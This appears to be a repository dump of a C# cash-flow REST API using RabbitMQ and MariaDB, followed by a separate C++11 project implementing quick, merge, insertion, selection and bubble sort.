MariaDB (MySql Binary Drop) and RabbitMQ. ##### Business Business parameters. - **DayAccountLimit:** The day account limit that the balance is allowed to become negative. - **DayInterest:** The day interest if the day balance is negative. Change this as you like to adapt to your needs. ## Reference links RabbitMQ Docker Image https://github.com/bitnami/bitnami-docker-rabbitmq <br/> MariaDB Docker Image https://hub.docker.com/_/mariadb/ <file_sep>/RestCashflowLibrary/Infrastructure/Consumer/IConciliateConsumer.cs namespace RestCashflowLibrary.Infrastructure.Consumer { public interface IConciliateConsumer : IConsumer { } } <file_sep>/RestCashflowLibrary/Domain/Business/FinancialEntryBusiness.cs using System; using System.Collections.Generic; using System.Net; using System.Threading.Tasks; using Microsoft.Extensions.Configuration; using RestCashflowLibrary.Domain.Model.DataTransferObject; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Domain.Service; using RestCashflowLibrary.Infrastructure.CustomException; using RestCashflowLibrary.Infrastructure.Queue; using RestCashflowLibrary.Infrastructure.Repository; using RestCashflowLibrary.Infrastructure.Utility; using System.Linq; namespace RestCashflowLibrary.Domain.Business { public class FinancialEntryBusiness : IFinancialEntryBusiness { readonly IPaymentQueue _paymentQueue; readonly IReceiptQueue _receiptQueue; readonly IFinancialEntryRepository _financialEntryRepository; readonly IFinancialEntryValidateService _financialEntryValidateService; readonly IDayBalanceBusiness _dayBalanceBusiness; public IConfiguration Configuration { get; set; } public FinancialEntryBusiness( IPaymentQueue paymentQueue, IReceiptQueue receiptQueue, IFinancialEntryRepository financialEntryRepository, IFinancialEntryValidateService financialEntryValidateService, IDayBalanceBusiness dayBalanceBusiness, IConfiguration configuration ) { _paymentQueue = paymentQueue; _receiptQueue = receiptQueue; _financialEntryRepository = financialEntryRepository; _financialEntryValidateService = financialEntryValidateService; _dayBalanceBusiness = dayBalanceBusiness; Configuration = configuration; } public async Task AddToQueue(FinancialEntryEntity financialEntryEntity) { try { var dayAccountLimit = Convert.ToDecimal(Configuration.GetSection("Business:DayAccountLimit").Value); if (_financialEntryValidateService.IsEntryInThePast(financialEntryEntity.EntryDate, DateTime.Now)) { throw new ApiException("Você não pode fazer lançamentos no passado!", HttpStatusCode.BadRequest); } if (financialEntryEntity.EntryType == FinancialEntryTypeEnum.Payment) { var dayBalanceEntity = await _dayBalanceBusiness.FillDayBalance(financialEntryEntity); if (_financialEntryValidateService.IsDayAccountLimitReached(dayBalanceEntity)) { throw new ApiException(string.Format("O valor ultrapassa o limite de pagamento diário no valor de {0}.", FinancialConverter.ToRealFormat(dayAccountLimit)), HttpStatusCode.UnprocessableEntity); } await _paymentQueue.Publish(financialEntryEntity); } if (financialEntryEntity.EntryType == FinancialEntryTypeEnum.Receipt) { await _receiptQueue.Publish(financialEntryEntity); } } catch { throw; } } public async Task<long> Create(FinancialEntryEntity entity) { try { return await _financialEntryRepository.Create(entity); } catch { throw; } } public async Task<IEnumerable<CashflowDataTransferObject>> GetCashflow(DateTime startDate, int daysAhead) { try { var resultList = new List<CashflowDataTransferObject>(); var entries = await _financialEntryRepository.ListConciledBetweenDate(startDate.AddDays(-1), startDate.AddDays(daysAhead)); if (entries == null || !entries.Any()) { return resultList; } var availableDates = new List<DateTime>(); foreach (var entry in entries) { if (!availableDates.Contains(entry.EntryDate)) { availableDates.Add(entry.EntryDate); } } foreach (var currentDate in availableDates) { var filteredEntries = entries.Where(x => x.EntryDate.Date == currentDate.Date).ToList(); var payments = filteredEntries.Where(x => x.EntryType == FinancialEntryTypeEnum.Payment).ToList(); var receipts = filteredEntries.Where(x => x.EntryType == FinancialEntryTypeEnum.Receipt).ToList(); var dto = new CashflowDataTransferObject() { Date = currentDate, Entries = receipts.ToList().ConvertAll(r => new EntryCashflow() { Date = r.ConciledAt, Value = r.Value }), Outs = payments.ToList().ConvertAll(o => new OutCashflow() { Date = o.ConciledAt, Value = o.Value }), Charges = filteredEntries.ToList().ConvertAll(c => new ChargeCashflow() { Date = c.ConciledAt, Value = c.Charge }), Total = (filteredEntries.Sum(x => x.Value) + filteredEntries.Sum(x => x.Charge)) }; // Position day var yesterday = dto.Date.AddDays(-1); var foundYesterday = resultList.Find(x => x.Date.Date == yesterday.Date); dto.DayPosition = CalculateDayPositionPercentage(foundYesterday?.Total, dto.Total); resultList.Add(dto); } return resultList.Where(x => x.Date.Date >= DateTime.Now.Date).OrderBy(x => x.Date).ToList(); } catch { throw; } } public decimal CalculateDayPositionPercentage(decimal? yesterdayTootal, decimal currentDayTotal) { if (yesterdayTootal == null) { return 100; } var diff = currentDayTotal - yesterdayTootal; return (decimal)((decimal)(diff * 100) / yesterdayTootal); } } } <file_sep>/RestCashflowWebApi/Controllers/LancamentoController.cs using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowWebApi.Model; namespace RestCashflowWebApi.Controllers { [ApiController] [Route("api/v1/lancamento")] [Produces("application/json")] public class LancamentoController : ControllerBase { readonly IFinancialEntryBusiness _financialEntryBusiness; public LancamentoController(IFinancialEntryBusiness financialEntryBusiness) { _financialEntryBusiness = financialEntryBusiness; } /// <summary> /// Cria um novo lançamento financeiro /// </summary> /// <remarks> /// Exemplo de requisição: /// /// POST /api/v1/lancamento /// { /// "descricao": "Pagamento de conta de luz", /// "banco_destino": 5, /// "conta_destino": "0001", /// "tipo_de_conta": 0, /// "cpf_cnpj_destino": "47.972.568/0001-38", /// "tipo_da_lancamento": 1, /// "encargos": "R$ 5,00", /// "valor_do_lancamento": "R$ 80,00", /// "data_de_lancamento":"01-01-2022" /// } /// /// </remarks> /// <param name="lancamento">Lançamento financeiro</param> /// <returns>O retorno de sucesso é somente o código http 202</returns> /// <response code="202">Lancamento financeiro adicionado com succeso</response> /// <response code="400">Data do lançamento não deve ser no passado</response> /// <response code="422">Limite do dia em pagamentos já atingido</response> /// <response code="500">Erro interno no servidor</response> [HttpPost] [ProducesResponseType(202)] [ProducesResponseType(400)] [ProducesResponseType(422)] [ProducesResponseType(500)] public async Task<AcceptedResult> Post([FromBody] LancamentoFinanceiro lancamento) { try { await _financialEntryBusiness.AddToQueue((FinancialEntryEntity) lancamento); return Accepted(); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Domain/Business/DayBalanceBusiness.cs using System; using System.Threading.Tasks; using Microsoft.Extensions.Configuration; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Domain.Service; using RestCashflowLibrary.Infrastructure.Repository; namespace RestCashflowLibrary.Domain.Business { public class DayBalanceBusiness : IDayBalanceBusiness { readonly IFinancialEntryValidateService _financialEntryValidateService; readonly IDayBalanceRepository _dayBalanceRepository; public IConfiguration Configuration { get; set; } public DayBalanceBusiness( IDayBalanceRepository dayBalanceRepository, IFinancialEntryValidateService financialEntryValidateService, IConfiguration configuration ) { _dayBalanceRepository = dayBalanceRepository; _financialEntryValidateService = financialEntryValidateService; Configuration = configuration; } public async Task<long> Insert(FinancialEntryEntity entity) { try { var isPayment = entity.EntryType == FinancialEntryTypeEnum.Payment; var dayBalanceEntity = await FillDayBalance(entity); return await _dayBalanceRepository.Insert(dayBalanceEntity); } catch { throw; } } public async Task<bool> Update(FinancialEntryEntity financialEntryEntity, DayBalanceEntity dayBalanceEntity) { try { var dayInterest = Convert.ToDecimal(Configuration.GetSection("Business:DayInterest").Value); dayBalanceEntity = await FillDayBalance(financialEntryEntity, dayBalanceEntity); return await _dayBalanceRepository.Update(dayBalanceEntity); } catch { throw; } } public async Task<DayBalanceEntity> FillDayBalance(FinancialEntryEntity entity, DayBalanceEntity dayBalanceEntity = null) { try { var isPayment = entity.EntryType == FinancialEntryTypeEnum.Payment; if (dayBalanceEntity == null) { dayBalanceEntity = await _dayBalanceRepository.GetByDate(entity.EntryDate); } if (dayBalanceEntity == null) { dayBalanceEntity = new DayBalanceEntity(); } dayBalanceEntity.Date = entity.EntryDate; if (isPayment) { dayBalanceEntity.TotalOut += entity.Value; } else { dayBalanceEntity.TotalEntry += entity.Value; } dayBalanceEntity.Balance = CalculateBalance(dayBalanceEntity); dayBalanceEntity.Interest = CalculateInterest(dayBalanceEntity); return dayBalanceEntity; } catch { throw; } } public decimal CalculateInterest(DayBalanceEntity entity) { decimal interest = 0; var dayInterest = Convert.ToDecimal(Configuration.GetSection("Business:DayInterest").Value); if (entity.Balance < 0) { interest = ((entity.Balance * dayInterest) / 100) * -1; } return interest; } public decimal CalculateBalance(DayBalanceEntity entity) { return entity.TotalEntry - entity.TotalOut; } } } <file_sep>/RestCashflowTests/FinancialEntryValidateServiceUnitTest.cs using System; using Microsoft.Extensions.Configuration; using Moq; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Domain.Service; using RestCashflowLibrary.Infrastructure.Repository; using Xunit; namespace RestCashflowTests { public class FinancialEntryValidateServiceUnitTest { Mock<IDayBalanceRepository> _dayBalanceRepository = new Mock<IDayBalanceRepository>(); Mock<IDayBalanceBusiness> _dayBalanceBusiness = new Mock<IDayBalanceBusiness>(); Mock<IConfiguration> _configuration = new Mock<IConfiguration>(); static FinancialEntryValidateServiceUnitTest() { Setup.Initialize(); } [Theory] [InlineData("01-01-2019", "02-01-2019")] [InlineData("01-01-2020", "02-01-2021")] [InlineData("01-05-2019", "02-06-2019")] [InlineData("01-10-2019", "02-11-2019")] public void IsEntryInThePast(string currentDt, string now) { var financialEntryValidateService = new FinancialEntryValidateService(_configuration.Object); var result = financialEntryValidateService.IsEntryInThePast(Convert.ToDateTime(currentDt), Convert.ToDateTime(now)); Assert.True(result); } [Theory] [InlineData("10000", 21000)] [InlineData("15000", 16000)] [InlineData("5000", 5001)] [InlineData("2500", 2501)] public void IsDayAccountLimitReached(string dayAccountLimit, decimal value) { _configuration.Setup(x => x.GetSection("Business:DayAccountLimit").Value).Returns(dayAccountLimit); var dayBalanceEntity = new DayBalanceEntity() { Balance = value }; var financialEntryValidateService = new FinancialEntryValidateService(_configuration.Object); var result = financialEntryValidateService.IsDayAccountLimitReached(dayBalanceEntity); Assert.True(result); } } } <file_sep>/RestCashflowTests/Setup.cs using System.Globalization; namespace RestCashflowTests { public static class Setup { public static void Initialize() { SetCulture(); } public static void SetCulture() { var cultureInfo = new CultureInfo("pt-BR"); cultureInfo.NumberFormat.CurrencySymbol = "R$"; CultureInfo.DefaultThreadCurrentCulture = cultureInfo; CultureInfo.DefaultThreadCurrentUICulture = cultureInfo; } } } <file_sep>/RestCashflowLibrary/Infrastructure/Utility/FinancialConverter.cs using System; using System.Globalization; namespace RestCashflowLibrary.Infrastructure.Utility { public static class FinancialConverter { public static string ToRealFormat(decimal value) { var result = value.ToString("C", CultureInfo.CreateSpecificCulture("pt-BR")); return result.Insert(2, " "); } public static decimal FromRealToDecimal(string value) { if (value == null) { value = "0,00"; } var clearedValue = value.Replace("R$ ", string.Empty); clearedValue = clearedValue.Replace(".", string.Empty); return Convert.ToDecimal(clearedValue); } public static string ToStringPercentage(decimal value) { value = Math.Round(value, 2); return value.ToString("0.00") + "%"; } } } <file_sep>/RestCashflowLibrary/Infrastructure/Queue/ReceiptQueue.cs using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; using RabbitMQ.Client; using SimpleInjector; namespace RestCashflowLibrary.Infrastructure.Queue { public class ReceiptQueue : IReceiptQueue { readonly Container _container; public ReceiptQueue(Container container) { _container = container; } public Task Publish(object data) { try { var channel = _container.GetInstance<IModel>(); channel.QueueDeclare(queue: "receipt", durable: true, exclusive: false, autoDelete: false, arguments: null); var json = JsonConvert.SerializeObject(data); channel.BasicPublish(exchange: "", routingKey: "receipt", basicProperties: null, body: Encoding.UTF8.GetBytes(json)); return Task.CompletedTask; } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Infrastructure/Connection/MySql/MySqlBuildStructure.cs using System.Data; using System.Threading.Tasks; using Dapper; namespace RestCashflowLibrary.Infrastructure.Connection.MySql { public class MySqlBuildStructure : IMySqlBuildStructure { readonly IDbConnection _connection; public MySqlBuildStructure(IDbConnection connection) { _connection = connection; } public async Task CreateTables() { try { var sql = @"CREATE TABLE IF NOT EXISTS . `day_balance` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `date` date NOT NULL, `total_entry` decimal(11,4) NOT NULL, `total_out` decimal(11,4) NOT NULL, `interest` decimal(11,4) NOT NULL, PRIMARY KEY (`id`,`date`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"; sql += @"CREATE TABLE IF NOT EXISTS `financial_entry` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `entry_type` int(11) NOT NULL, `description` varchar(1000) NOT NULL, `destination_account` varchar(50) NOT NULL, `destination_bank` int(11) NOT NULL, `destination_cpf_cnpj` varchar(20) NOT NULL, `account_type` int(11) NOT NULL, `value` decimal(11,4) NOT NULL, `charge` decimal(11,4) NOT NULL, `entry_date` datetime NOT NULL, `created_at` datetime NOT NULL, `conciled` int(11) NOT NULL DEFAULT 0, `conciled_at` datetime DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"; await _connection.ExecuteAsync(sql); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Infrastructure/Consumer/ConciliateConsumer.cs using System; using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; using RabbitMQ.Client; using RabbitMQ.Client.Events; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Infrastructure.Repository; using SimpleInjector; using SimpleInjector.Lifestyles; namespace RestCashflowLibrary.Infrastructure.Consumer { public class ConciliateConsumer : IConciliateConsumer { readonly Container _container; public ConciliateConsumer(Container container) { _container = container; } private async Task Execute(FinancialEntryEntity entity) { try { var financialEntryRepository = _container.GetInstance<IFinancialEntryRepository>(); var dayBalanceBusiness = _container.GetInstance<IDayBalanceBusiness>(); var dayBalanceRepository = _container.GetInstance<IDayBalanceRepository>(); entity.Conciled = true; entity.ConciledAt = DateTime.Now; await financialEntryRepository.Update(entity); var dayBalance = await dayBalanceRepository.GetByDate(entity.EntryDate); if (dayBalance == null) { await dayBalanceBusiness.Insert(entity); } else { await dayBalanceBusiness.Update(entity, dayBalance); } } catch { throw; } } public void Consume() { try { var channel = _container.GetInstance<IModel>(); channel.QueueDeclare(queue: "conciliate", durable: true, exclusive: false, autoDelete: false, arguments: null); var consumer = new EventingBasicConsumer(channel); consumer.Received += async (model, ea) => { using (AsyncScopedLifestyle.BeginScope(_container)) { var json = Encoding.UTF8.GetString(ea.Body); var entity = JsonConvert.DeserializeObject<FinancialEntryEntity>(json); await Execute(entity); } }; channel.BasicConsume(queue: "conciliate", exclusive: false, autoAck: true, consumer: consumer); } catch { throw; } } } }
7856dce93efe0152023ebff593995d40603ebd88
[ "Markdown", "C#", "Dockerfile", "SQL" ]
57
C#
leandrocurioso/RestCashflow
0375081b4526613abd055b73a0d51d77a75e010f
c03da693df56639e501a4729d5b8ed7ed2a22fd1
refs/heads/master
<file_sep>package com.kstudy.service; import com.kstudy.model.mybatis.StudyMember; import com.kstudy.repository.mybatis.StudyMemberMapper; import lombok.AllArgsConstructor; import lombok.RequiredArgsConstructor; import org.springframework.stereotype.Service; import java.util.Arrays; import java.util.List; import java.util.Map; import java.util.Optional; import java.util.stream.Collectors; @Service @RequiredArgsConstructor public class StudyMemberService { private final StudyMemberMapper studyMemberMapper; public List<String> getMemberListWithNameAndSeq() { return Arrays.asList(""); } public Optional<StudyMember> getMemberBySeq(int memberSeq) { return Optional.ofNullable(studyMemberMapper.selectMemberBySeq(memberSeq)); } } <file_sep>package com.kstudy.model.exception; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.Setter; import java.util.HashMap; import java.util.Map; @AllArgsConstructor @Getter public enum ErrorInfo { DATA_NOT_FOUND("E400", "해당 데이터 조회에 실패 하였습니다."), INVALID_PARAMETER("E401", "잘못된 요청 정보 입니다."), NO_IDENTIFIED_ERROR("E999", "서비스 처리 중 오류가 발생 하였습니다."); private String errorCode; private String errorMessage; public Map<String, Object> getInfo() { Map<String, Object> resultMap = new HashMap<>(); resultMap.put("errorCode", this.errorCode); resultMap.put("errorMessage", this.errorMessage); return resultMap; } } <file_sep>package com.kstudy.advice; import com.kstudy.exception.InvalidParameterException; import com.kstudy.exception.MemberNotFoundException; import com.kstudy.model.exception.ErrorInfo; import com.kstudy.model.exception.ErrorResponse; import org.springframework.validation.ObjectError; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RestControllerAdvice; import java.time.LocalDateTime; import java.util.List; @RestControllerAdvice public class ControllerExceptionAdvice { @ExceptionHandler public ErrorResponse handleInvalidParameteException(InvalidParameterException e) { List<ObjectError> allErros = e.getAllErros(); return ErrorResponse.of() .timestamp(LocalDateTime.now()) .errorInfo(ErrorInfo.INVALID_PARAMETER.getInfo()) .errorDetails(allErros) .build(); } @ExceptionHandler public ErrorResponse handleMemberNotFoundException(MemberNotFoundException e) { return ErrorResponse.of() .timestamp(LocalDateTime.now()) .errorInfo(ErrorInfo.DATA_NOT_FOUND.getInfo()) .build(); } @ExceptionHandler public ErrorResponse handleAllException(Exception e) { return ErrorResponse.of() .timestamp(LocalDateTime.now()) .errorInfo(ErrorInfo.NO_IDENTIFIED_ERROR.getInfo()) .build(); } } <file_sep>package com.kstudy.model.mybatis; import lombok.*; import org.hibernate.validator.constraints.Range; import javax.validation.constraints.Max; import javax.validation.constraints.Min; import javax.validation.constraints.NotNull; import java.time.LocalDateTime; @Getter @Setter @NoArgsConstructor public class StudyMember { @NotNull(message = "부적합한 식별값입니다.") private Long memberSeq; @NotNull(message = "이름을 입력해주세요.") private String memberName; @Range(min = 10, max = 30, message = "가입이 불가능한 연령입니다.") private int age; private LocalDateTime joinDate; private String memberJob; private String createdAt; private String updatedAt; } <file_sep>package com.kstudy; import com.kstudy.KangkrkrApplication; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; public class ServletInitializer extends SpringBootServletInitializer { @Override protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { return application.sources(KangkrkrApplication.class); } } <file_sep>package com.kstudy.model.exception; import lombok.*; import org.springframework.validation.ObjectError; import javax.lang.model.type.ErrorType; import java.time.LocalDateTime; import java.util.List; import java.util.Map; @AllArgsConstructor @Getter @Setter @Builder(builderMethodName = "of") public class ErrorResponse { // 타임스탬프 private LocalDateTime timestamp; // 에러정보 private Map<String, Object> errorInfo; // 에러 상세정보 private List<ObjectError> errorDetails; // 예외 발생에 대한 이동 링크.. private String redirectLink; }
60f5322845e6fe5274c2c81f95019efbaf7990e2
[ "Java" ]
6
Java
Kangkrkr/KStudy-Spring
c82536217c5683ca743f84a25fd07d0f462e7ed1
ddcce3959f326a4737152651afe2b0ebe3853bda
refs/heads/master
<file_sep>$(document).ready(function() { /* Start Rocking */ });
8b5906bf02c7a4870d68fe075aa02cd7ad093fdf
[ "JavaScript" ]
1
JavaScript
norhanelshemerly/Creative-Digital-Agencies
eb9e6e3ed7ed48636e7b5fa2f5c2aad3d68e3d7a
637bb68bc60932f70fdbb843bf6ebb6d9223e8cc
refs/heads/master
<file_sep>// begin // test 2
009617e92c7b3e423952d8ccd3fb70d762529341
[ "JavaScript" ]
1
JavaScript
Adrena-pixel/Endless_Runner_TH
3f174d8a1854665e68f699f054f84e733694b050
e1a78cff372f4fb386d86578b9b10f8d5976283a
refs/heads/master
<repo_name>jwwitherspoon/deck-of-desire<file_sep>/README.md # deck-of-desire A tool modeled after a foreplay game called Deck of Desire. <file_sep>/play.js function play() { // Get random numbers for action and body part let action = Math.floor(Math.random() * 4) + 1; let bodyPart = Math.floor(Math.random() * 13) + 1; // Display action switch (action) { case 1: $("#action").html("Kiss"); break; case 2: $("#action").html("Caress"); break; case 3: $("#action").html("Lick"); break; case 4: $("#action").html("Rub"); break; default: $("#action").html("error"); break; } // Display body part switch (bodyPart) { case 1: $("#body-part").html("Wild Card"); break; case 2: $("#body-part").html("Ear"); break; case 3: $("#body-part").html("Shoulder"); break; case 4: $("#body-part").html("Lips"); break; case 5: $("#body-part").html("Neck"); break; case 6: $("#body-part").html("Chest"); break; case 7: $("#body-part").html("Stomach"); break; case 8: $("#body-part").html("Back"); break; case 9: $("#body-part").html("Thighs"); break; case 10: $("#body-part").html("Hips"); break; case 11: $("#body-part").html("Butt"); break; case 12: $("#body-part").html("Clitoris"); break; case 13: $("#body-part").html("Penis"); break; default: $("#body-part").html("error"); break; } // Make both action and body part elements visible $("#action").attr("style", "display: table-cell;"); $("#body-part").attr("style", "display: table-cell;"); }
d2577d7da8a90d86599b14c7dce18b3e3fd3eb54
[ "Markdown", "JavaScript" ]
2
Markdown
jwwitherspoon/deck-of-desire
7c18c91786327e61c68eccc3341e97ab5e7ff88c
b161774bd5ec266917ad71dd0ba010068defca27
refs/heads/master
<repo_name>tanaychaulinsec/nearByRestaurant<file_sep>/src/views.py from django.shortcuts import render from .models import * from django.http import JsonResponse from geopy.distance import great_circle # Create your views here. def home(request): return render(request, 'home.html') def api(request): restaurants=Restaurant.objects.all() pincode=request.GET.get('pincode') km=request.GET.get('km') user_long=None user_lat=None if pincode: geolocator= Nominatim(user_agent="geoapiExercises") location=geolocator.geocode(int(pincode)) user_lat=location.latitude user_long=location.longitude payload=[] for restaurant in restaurants: result={} result['name'] = restaurant.name result['image'] = restaurant.image result['description'] = restaurant.description result['pincode'] = restaurant.pincode if pincode: first = (float(user_lat) , float(user_long)) second = (float(restaurant.lat) , float(restaurant.lon)) result['distance'] = int( great_circle(first , second).miles) payload.append(result) if km: if result['distance'] > int(km): payload.pop() return JsonResponse(payload, safe= False) <file_sep>/README.md # nearByRestaurant Search nearby restaurant with pincode and and apply filter as a Km <file_sep>/src/models.py from django.db import models from geopy.geocoders import Nominatim # Create your models here. class Restaurant(models.Model): name=models.CharField(max_length=100) description=models.TextField() image=models.CharField(max_length=500) pincode=models.CharField(max_length=6) lat=models.CharField(max_length=20,null=True, blank=True) lon=models.CharField(max_length=20,null=True, blank=True) def save(self, *args, **kwargs): geolocator=Nominatim(user_agent="geoapiExercises") location=geolocator.geocode(int(self.pincode)) self.lat=location.latitude self.lon=location.longitude super(Restaurant,self).save(*args, **kwargs) def __str__(self): return self.name
c1450790218d6f0be578f6392d5701c7e40d76f5
[ "Markdown", "Python" ]
3
Python
tanaychaulinsec/nearByRestaurant
61201e16078484b7b4b9039fa1f1d1253fe615ae
30889d1160813e9a6404b23b2e7c30644d1e1c05
refs/heads/master
<repo_name>guptaadhip/SortingCpp11<file_sep>/QuickSort.cpp #include "include/QuickSort.h" #include <iostream> using namespace std; void QuickSort::Sort(vector<int>& arr) { if (arr.size() <= 0) { std::cout << "List is empty\n"; return; } QSort(arr, 0, arr.size() - 1); } void QuickSort::QSort(vector<int>& arr, int low, int high) { if (low < high) { int part = Partition(arr, low, high); if (part == -1) return; QSort (arr, low, part - 1); QSort (arr, part + 1, high); } } int QuickSort::Partition(vector<int>& arr, int first, int last) { /* Get the pivot value */ int pivot = first; int up = first; int down = last; while (up < down) { /* move the first pointer to a value greater than pivot */ while (arr[up] <= arr[pivot]) { up++; } /* Move the last pointer to a value less than pivot */ while (arr[down] > arr[pivot]) { down--; } /* if the up and down have moved exchange and continue */ if (up < down) { int temp = arr[up]; arr[up] = arr[down]; arr[down] = temp; continue; } else { int temp = arr[pivot]; arr[pivot] = arr[down]; arr[down] = temp; } return down; } } <file_sep>/include/Sorter.h #include <memory> class SortImpl; class Sorter { public: Sorter (std::unique_ptr<SortImpl>& sort); void Sort(std::vector<int>&); private: std::unique_ptr<SortImpl> _sort; }; <file_sep>/SelectionSort.cpp #include "include/SelectionSort.h" #include <iostream> using namespace std; void SelectionSort::Sort(vector<int>& arr) { bool flag = false; if (arr.size() <= 0) { std::cout << "List is empty\n"; return; } int idx = 0; while (idx <= arr.size()) { /* Find the smallest */ int small = idx; for(int i = idx; i < arr.size(); i++) { if (arr[i] < arr[small]) { small = i; } } /* exchange the smallest */ int temp = arr[idx]; arr[idx] = arr[small]; arr[small] = temp; /* incremet the idx */ idx++; } } <file_sep>/include/SelectionSort.h #include "SortImpl.h" class SelectionSort : public SortImpl{ public: void Sort(std::vector<int>&) override; }; <file_sep>/include/InsertionSort.h #include "SortImpl.h" class InsertionSort : public SortImpl{ public: void Sort(std::vector<int>&) override; private: void Place(std::vector<int>& arr, int key); }; <file_sep>/README.md SortingCpp11 ============ Various Sorting Algorithms in C++ 11. This is for educational purposes and contains the implementation of the following sorting algorithms in C++ 11 Standard. 1. Quick Sort 2. Merge Sort 3. Insertion Sort 4. Selection Sort 5. Bubble Sort <file_sep>/MergeSort.cpp #include "include/MergeSort.h" #include <iostream> using namespace std; vector<int> MergeSort::Merge(vector<int>& left, vector<int>& right) { /* get the iterators */ unsigned int idxRight = 0, idxLeft = 0; std::vector<int> result; while (idxRight < right.size() && idxLeft < left.size()) { if (right[idxRight] < left[idxLeft]) { result.push_back(right[idxRight]); idxRight++; } else { result.push_back(left[idxLeft]); idxLeft++; } } while (idxRight < right.size()) { result.push_back(right[idxRight]); idxRight++; } while (idxLeft < left.size()) { result.push_back(left[idxLeft]); idxLeft++; } return result; } void MergeSort::Sort(vector<int>& arr) { bool flag = false; if (arr.size() <= 0) { std::cout << "List is empty\n"; return; } else if (arr.size() == 1) { return; } arr = MergeSorter(arr); } vector<int> MergeSort::MergeSorter(vector<int>& arr) { if (arr.size() == 1) { return arr; } /* Divide the list */ std::vector<int>::iterator middle = arr.begin() + (arr.size() / 2); vector<int> left(arr.begin(), middle); vector<int> right(middle, arr.end()); /* Sort the 2 lists */ auto rLeft = MergeSorter(left); auto rRight = MergeSorter(right); /* Merge the list */ return Merge(rLeft, rRight); } <file_sep>/include/MergeSort.h #include "SortImpl.h" class MergeSort : public SortImpl { public: void Sort(std::vector<int>&) override; private: std::vector<int> MergeSorter(std::vector<int>&); std::vector<int> Merge(std::vector<int>&, std::vector<int>&); }; <file_sep>/include/QuickSort.h #include "SortImpl.h" class QuickSort : public SortImpl{ public: void Sort(std::vector<int>&) override; private: int Partition(std::vector<int>& arr, int low, int high); void QSort(std::vector<int>& arr, int low, int high); }; <file_sep>/InsertionSort.cpp #include "include/InsertionSort.h" #include <iostream> using namespace std; void InsertionSort::Sort(vector<int>& arr) { bool flag = false; if (arr.size() <= 0) { std::cout << "List is empty\n"; return; } int idx = 0; while (idx < arr.size()) { Place(arr, idx); idx++; } } void InsertionSort::Place(vector<int>& arr, int key) { if (key <= 0) { return; } /* find the correct place for the key */ int idx = 0; while (arr[key] > arr[idx]) { if (idx > arr.size()) return; idx++; } int keyValue = arr[key]; int temp = arr[idx]; /* move the values and place it */ for (int i = idx; i < key; i++) { int x = arr[i + 1]; arr[i + 1] = temp; temp = x; } arr[idx] = keyValue; } <file_sep>/include/BubbleSort.h #include "SortImpl.h" class BubbleSort : public SortImpl{ public: void Sort(std::vector<int>&) override; }; <file_sep>/makefile all: InsertionSort.cpp QuickSort.cpp BubbleSort.cpp MergeSort.cpp SelectionSort.cpp Sorter.cpp Main.cpp g++ -o Sort InsertionSort.cpp QuickSort.cpp BubbleSort.cpp MergeSort.cpp SelectionSort.cpp Sorter.cpp Main.cpp -std=c++11 clean: rm -r Sort <file_sep>/Sorter.cpp #include "include/SortImpl.h" #include "include/Sorter.h" #include <utility> #include <vector> #include <string> Sorter::Sorter(std::unique_ptr<SortImpl>& sort) : _sort(std::move(sort)) { } void Sorter::Sort(std::vector<int>& arr) { _sort->Sort(arr); } <file_sep>/Main.cpp #include "include/SortImpl.h" #include "include/BubbleSort.h" #include "include/QuickSort.h" #include "include/SelectionSort.h" #include "include/InsertionSort.h" #include "include/MergeSort.h" #include "include/Sorter.h" #include <iostream> #include <vector> using namespace std; int main() { int opt; do { cout << "Select a sorting type:\n 1. Quick\n 2. Merge\n" \ " 3. Selection\n 4. Bubble\n 5. Insertion\n"; cout << "Choice (1 - 5): "; cin >> opt; } while (opt < 0 && opt > 5); unique_ptr<SortImpl> sortImpl; switch (opt) { case 1: sortImpl = move(unique_ptr<SortImpl>(new QuickSort())); break; case 2: sortImpl = move(unique_ptr<SortImpl>(new MergeSort())); break; case 3: sortImpl = move(unique_ptr<SortImpl>(new SelectionSort())); break; case 4: sortImpl = move(unique_ptr<SortImpl>(new BubbleSort())); break; case 5: sortImpl = move(unique_ptr<SortImpl>(new InsertionSort())); break; default: return -1; } Sorter *sort = new Sorter(sortImpl); vector<int> list; for (int i = 0; i < 5; i++) { list.push_back(rand()); } cout << endl; cout << "Unsorted Array: " << endl; for (int element : list) { cout << "\t" << element << endl; } cout << endl; sort->Sort(list); cout << "Sorted Array: " << endl; for (int element : list) { cout << "\t" << element << endl; } cout << endl << endl; return 0; }
ef134bf9ae2d3f4ae7f29ef91b899bc7a048a153
[ "Markdown", "Makefile", "C++" ]
14
C++
guptaadhip/SortingCpp11
2c2d9752315b5eadcca80628cbe99efdfd9599e8
73dfe648c069c4ca4ed5810569986bceeabfb7bb
refs/heads/master
